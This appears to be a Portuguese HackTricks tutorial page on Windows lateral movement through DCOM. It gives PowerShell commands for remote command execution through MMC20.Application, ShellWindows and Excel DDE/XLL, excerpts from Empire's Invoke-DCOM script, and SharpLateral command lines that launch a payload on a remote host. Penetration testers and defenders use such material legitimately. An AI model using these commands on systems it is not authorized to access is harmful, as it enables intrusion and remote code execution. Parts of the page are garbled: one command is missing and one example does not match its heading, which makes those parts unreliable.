hacktricks/windows-hardening/lateral-movement/dcom-exec.md

10 KiB

DCOM Exec

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Encontre vulnerabilidades que são mais importantes para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, desde APIs até aplicativos da web e sistemas em nuvem. Experimente gratuitamente hoje.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}


MMC20.Application

Objetos do Modelo de Objetos de Componentes Distribuídos (DCOM) apresentam uma capacidade interessante para interações baseadas em rede com objetos. A Microsoft fornece documentação abrangente tanto para DCOM quanto para o Modelo de Objetos de Componentes (COM), acessível aqui para DCOM e aqui para COM. Uma lista de aplicações DCOM pode ser recuperada usando o comando PowerShell:

Get-CimInstance Win32_DCOMApplication

O objeto COM, Classe de Aplicação MMC (MMC20.Application), permite a criação de scripts para operações de snap-in do MMC. Notavelmente, este objeto contém um método ExecuteShellCommand em Document.ActiveView. Mais informações sobre este método podem ser encontradas aqui. Verifique executando:

Essa funcionalidade facilita a execução de comandos em uma rede por meio de um aplicativo DCOM. Para interagir com o DCOM remotamente como administrador, o PowerShell pode ser utilizado da seguinte forma:

[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))

Este comando conecta-se à aplicação DCOM e retorna uma instância do objeto COM. O método ExecuteShellCommand pode então ser invocado para executar um processo no host remoto. O processo envolve os seguintes passos:

Verificar métodos:

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com.Document.ActiveView | Get-Member

Obter RCE:

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com | Get-Member

# Then just run something like:

ls \\10.10.10.10\c$\Users

Para mais informações, consulte https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/

ShellWindows e ShellBrowserWindow

O objeto MMC20.Application foi identificado como carente de "LaunchPermissions" explícitos, recorrendo a permissões que permitem acesso de Administradores. Para mais detalhes, um tópico pode ser explorado aqui, e é recomendado o uso do @tiraniddo OleView .NET para filtrar objetos sem Permissão de Lançamento explícita.

Dois objetos específicos, ShellBrowserWindow e ShellWindows, foram destacados devido à falta de Permissões de Lançamento explícitas. A ausência de uma entrada de registro LaunchPermission em HKCR:\AppID\{guid} significa a ausência de permissões explícitas.

ShellWindows

Para ShellWindows, que não possui um ProgID, os métodos .NET Type.GetTypeFromCLSID e Activator.CreateInstance facilitam a instanciação do objeto usando seu AppID. Esse processo aproveita o OleView .NET para recuperar o CLSID para ShellWindows. Uma vez instanciado, a interação é possível por meio do método WindowsShell.Item, levando à invocação de métodos como Document.Application.ShellExecute.

Exemplos de comandos PowerShell foram fornecidos para instanciar o objeto e executar comandos remotamente:

$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.Item()
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)

Movimentação lateral com Objetos DCOM do Excel

A movimentação lateral pode ser alcançada explorando objetos DCOM do Excel. Para obter informações detalhadas, é aconselhável ler a discussão sobre a alavancagem do Excel DDE para movimentação lateral via DCOM no blog da Cybereason.

O projeto Empire fornece um script PowerShell, que demonstra a utilização do Excel para execução de código remoto (RCE) manipulando objetos DCOM. Abaixo estão trechos do script disponível no repositório GitHub do Empire, mostrando diferentes métodos para abusar do Excel para RCE:

# Detection of Office version
elseif ($Method -Match "DetectOffice") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$isx64 = [boolean]$obj.Application.ProductCode[21]
Write-Host  $(If ($isx64) {"Office x64 detected"} Else {"Office x86 detected"})
}
# Registration of an XLL
elseif ($Method -Match "RegisterXLL") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$obj.Application.RegisterXLL("$DllPath")
}
# Execution of a command via Excel DDE
elseif ($Method -Match "ExcelDDE") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$Obj.DisplayAlerts = $false
$Obj.DDEInitiate("cmd", "/c $Command")
}

Ferramentas de Automação para Movimentação Lateral

Duas ferramentas são destacadas para automatizar essas técnicas:

  • Invoke-DCOM.ps1: Um script PowerShell fornecido pelo projeto Empire que simplifica a invocação de diferentes métodos para executar código em máquinas remotas. Este script está acessível no repositório do Empire GitHub.

  • SharpLateral: Uma ferramenta projetada para executar código remotamente, que pode ser usada com o comando:

SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe

Ferramentas Automáticas

  • O script Powershell Invoke-DCOM.ps1 permite invocar facilmente todas as formas comentadas de executar código em outras máquinas.
  • Você também pode usar SharpLateral:
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe

Referências

Encontre as vulnerabilidades que mais importam para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, desde APIs até aplicativos da web e sistemas em nuvem. Experimente gratuitamente hoje.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks: